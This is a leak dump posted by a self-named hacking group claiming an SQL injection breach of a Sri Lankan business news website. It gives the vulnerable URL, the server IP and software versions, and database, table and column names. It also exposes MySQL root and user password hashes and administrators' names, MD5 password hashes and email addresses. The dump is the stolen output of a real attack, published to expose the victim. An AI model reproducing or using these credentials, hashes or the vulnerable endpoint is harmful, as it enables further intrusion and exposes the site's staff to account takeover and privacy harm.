############################### HACKED BY TEAM T!g3R #####################################
LANKA BUISNESS ONLINE HACKED BY TEAM T!g3R
MEMBERS : w3bd3f4c3r, n3ll4!s4mur4!,r00t, burn3r, violence_sh@r0n.
WEBSITE : http://www.lbo.lk/
VULNEABLITY SQLi

#################################### PROOFS ##############################################

PROOFS OF TABLES ACCESSED : http://i56.tinypic.com/21otq90.png
PROOFS OF USER DETAIS ACCESSD : http://i53.tinypic.com/2a4s4yx.png

####################################SERVER DETAILS #########################################


Target: 		http://www.lbo.lk/print.php?nid=497166982
Host IP:		204.228.197.180
Web Server: 		Apache/2.2.3 (CentOS)
Powered-by: 		PHP/5.2.17
DB Server: 		MySQL >=5
Resp. Time(avg):	2967 ms
Current User: 		lbo@vanguard1.vanguardlk.com
Sql Version: 		5.1.51
Current DB: 		lbo
System User: 		lbo@vanguard1.vanguardlk.com
Host Name: 		vanguardmail01
Installation dir: 	/usr/
DB User & Pass: 	root:*EE66C22FB43C42F8E842205CDAC58CF4389FD17A:localhost
			root:*EE66C22FB43C42F8E842205CDAC58CF4389FD17A:vanguardmail01
			root:*EE66C22FB43C42F8E842205CDAC58CF4389FD17A:127.0.0.1
			::localhost
			::vanguardmail01
			lbo:*4E87B886EB4FD0D2CB10A8EA6E24DF4A26E1D376:204.228.197.180

################################## DATABASE NAMES #########################################

Data Bases: 	information_schema
		dulux
		lbo
		maildb
		mysql
		pmanager
		test
#################################### TABLES OF DB lob ####################################

Table found: adm_windowdetails
Table found: adm_windows
Table found: category
Table found: contact_type
Table found: contacts
Table found: country
Table found: subcategory
Table found: tbl_addCategory
Table found: tbl_admin
Table found: tbl_adminacl
Table found: tbl_authcat
Table found: tbl_author
Table found: tbl_banner
Table found: tbl_bannerNewsLetter
Table found: tbl_banner_forcats
Table found: tbl_bannercat
Table found: tbl_bannerhitdetail
Table found: tbl_bannerhitreg
Table found: tbl_bannerhits
Table found: tbl_bannertarget
Table found: tbl_billsbonds
Table found: tbl_blog
Table found: tbl_blog_max
Table found: tbl_blogeditor
Table found: tbl_cemail
Table found: tbl_currencies
Table found: tbl_diary
Table found: tbl_editorpick
Table found: tbl_emails
Table found: tbl_event
Table found: tbl_forum
Table found: tbl_forumcomments
Table found: tbl_forumreplys
Table found: tbl_forumusers
Table found: tbl_hitadds
Table found: tbl_hitbreakdown
Table found: tbl_hitcounter
Table found: tbl_hitdomains
Table found: tbl_hitreg6
Table found: tbl_hitreg7
Table found: tbl_hitregnew
Table found: tbl_hmvideo
Table found: tbl_homenews
Table found: tbl_hotblogs
Table found: tbl_icicqa
Table found: tbl_image
Table found: tbl_imagecategory
Table found: tbl_images
Table found: tbl_imgcat
Table found: tbl_index_disp
Table found: tbl_ipranges
Table found: tbl_janashakthi
Table found: tbl_lbofeaturs
Table found: tbl_listtype
Table found: tbl_log
Table found: tbl_maincat
Table found: tbl_most_popular
Table found: tbl_mostcommented
Table found: tbl_mostviewed
Table found: tbl_newshit
Table found: tbl_newshitsummery
Table found: tbl_newsitems
Table found: tbl_newsletter
Table found: tbl_newsletteruser
Table found: tbl_newsletteruserdet
Table found: tbl_newsletteruserloader
Table found: tbl_newsletteruserloaderloader
Table found: tbl_newslinks
Table found: tbl_newsmain
Table found: tbl_newsrelatedstories
Table found: tbl_newssubcat
Table found: tbl_nl_image
Table found: tbl_nllead
Table found: tbl_overnight
Table found: tbl_pagehits
Table found: tbl_parameters
Table found: tbl_pollans
Table found: tbl_pollques
Table found: tbl_popular
Table found: tbl_searchengins
Table found: tbl_searchhits
Table found: tbl_sector
Table found: tbl_stock
Table found: tbl_ticker
Table found: tbl_user_type
Table found: tbl_users
Table found: tbl_video
Table found: tbl_video_files
Table found: tbl_video_hits
Table found: tbl_videocomments
Table found: tbl_vote
Table found: tbl_weeks
Table found: tbl_windows
Table found: tbl_wso
Table found: test
Table found: tmp_hits
Table found: tmp_newshitsummery
Table found: tmp_view_an
Table found: viw_latestcomments
Table found: vw_commentscount
Table found: vw_latestcomments_new
Table found: vw_latestcommentswithtext
############################## TABLES AND COLUMNS OF DB maildb ###########################

Table found: emaildb
Table found: lbo
Table found: lbr
Table found: vimasuma
Column found: id
Column found: email
Column found: gender
Column found: status
Column found: sendflag
Column found: modid
Column found: sq
Column found: nl_userid
Column found: nl_usermail
Column found: nl_mailtype
Column found: nl_userstatus
Column found: nl_list
Column found: send_flag
Column found: na_flag
Column found: mostpopnl
Column found: lbr
Column found: addDate
Column found: promoflg
Column found: dbup
Column found: nl_userid
Column found: nl_usermail
Column found: nl_mailtype
Column found: nl_userstatus
Column found: nl_list
Column found: send_flag
Column found: na_flag
Column found: mostpopnl
Column found: nl_userid
Column found: nl_usermail
Column found: nl_userstatus
Column found: send_flag
Column found: sex
Column found: uname


################################### TABLES OF DB mysql ###################################

Table found: columns_priv
Table found: db
Table found: event
Table found: func
Table found: general_log
Table found: help_category
Table found: help_keyword
Table found: help_relation
Table found: help_topic
Table found: host
Table found: ndb_binlog_index
Table found: plugin
Table found: proc
Table found: procs_priv
Table found: servers
Table found: slow_log
Table found: tables_priv
Table found: time_zone
Table found: time_zone_leap_second
Table found: time_zone_name
Table found: time_zone_transition
Table found: time_zone_transition_type
Table found: user

####################### TABLES OF DB pmmanager ########################################

Table found: tbl_banner_hits
Table found: tbl_banner_positions
Table found: tbl_bannergroups
Table found: tbl_banners
Table found: tbl_clients
Table found: tbl_industry
Table found: tbl_mail_schedular
Table found: tbl_mailinglist_profiles
Table found: tbl_mailinglists
Table found: tbl_newsletter_banners
Table found: tbl_newsletter_mailing_lists
Table found: tbl_newsletters
Table found: tbl_newsletteruser
Table found: tbl_position_banners
Table found: tbl_professions
Table found: tbl_profile
Table found: tbl_profile_source
Table found: tbl_promotion_banners
Table found: tbl_promotion_mailing_lists
Table found: tbl_promotions
Table found: tbl_source
Table found: tbl_targets
Table found: tbl_vimasuma_news

############################# USER DETAIS ##############################################



Data Found: admin_id=14
Data Found: admin_name=superuser
Data Found: admin_pwd=efbd411d8b1db632abceb8d8a3759ae6
Data Found: admin_id=19
Data Found: admin_name=ananda
Data Found: admin_pwd=efbd411d8b1db632abceb8d8a3759ae6
Data Found: admin_id=26
Data Found: admin_name=asnatha
Data Found: admin_pwd=e69d8368923cb9b420c1cad9d21aa9c9
Data Found: admin_id=41
Data Found: admin_name=riyad
Data Found: admin_pwd=5dd0a6af297c2c6fe87fa11516043ec6
Data Found: admin_id=47
Data Found: admin_name=rohan
Data Found: admin_pwd=b39f74b6c265f9167c9d482fd6aaeff2
Data Found: admin_id=49
Data Found: admin_name=ruwanthika
Data Found: admin_pwd=6998c0ead8fdff81d3f0fac07791f8cb
Data Found: admin_id=52
Data Found: admin_name=avanthi1
Data Found: admin_pwd=f37be1316a16bd962b9f0e7963a4e970
Data Found: admin_id=53
Data Found: admin_name=vipula
Data Found: admin_pwd=12a4541ac8600147c71f9f0f43c42ba6
Data Found: admin_id=54
Data Found: admin_name=jeewanthi
Data Found: admin_pwd=67b37531490275e4d9e183b5d89154c6
Data Found: admin_id=55
Data Found: admin_name=zangcuanhh
Data Found: admin_pwd=47071d6baa0dc13f7433b6d95e1a35c7
Data Found: admin_name=haran
Data Found: admin_pwd=b59c67bf196a4758191e42f76670ceba
Data Found: admin_email=haran@mail.com
Data Found: admin_name=kasun
Data Found: admin_pwd=202cb962ac59075b964b07152d234b70
Data Found: admin_email=kasun@vanguardlk.com
Data Found: admin_name=sutha
Data Found: admin_pwd=b59c67bf196a4758191e42f76670ceba
Data Found: admin_email=admin@lbo.lk

###################################### mysql USER DETAILS #################################

Data Found: Host=127.0.0.1
Data Found: User=root
Data Found: Password=*EE66C22FB43C42F8E842205CDAC58CF4389FD17A
Data Found: Host=204.228.197.180
Data Found: User=lbo
Data Found: Password=*4E87B886EB4FD0D2CB10A8EA6E24DF4A26E1D376

################################ HACKED BY TEAM T!g3R ###################################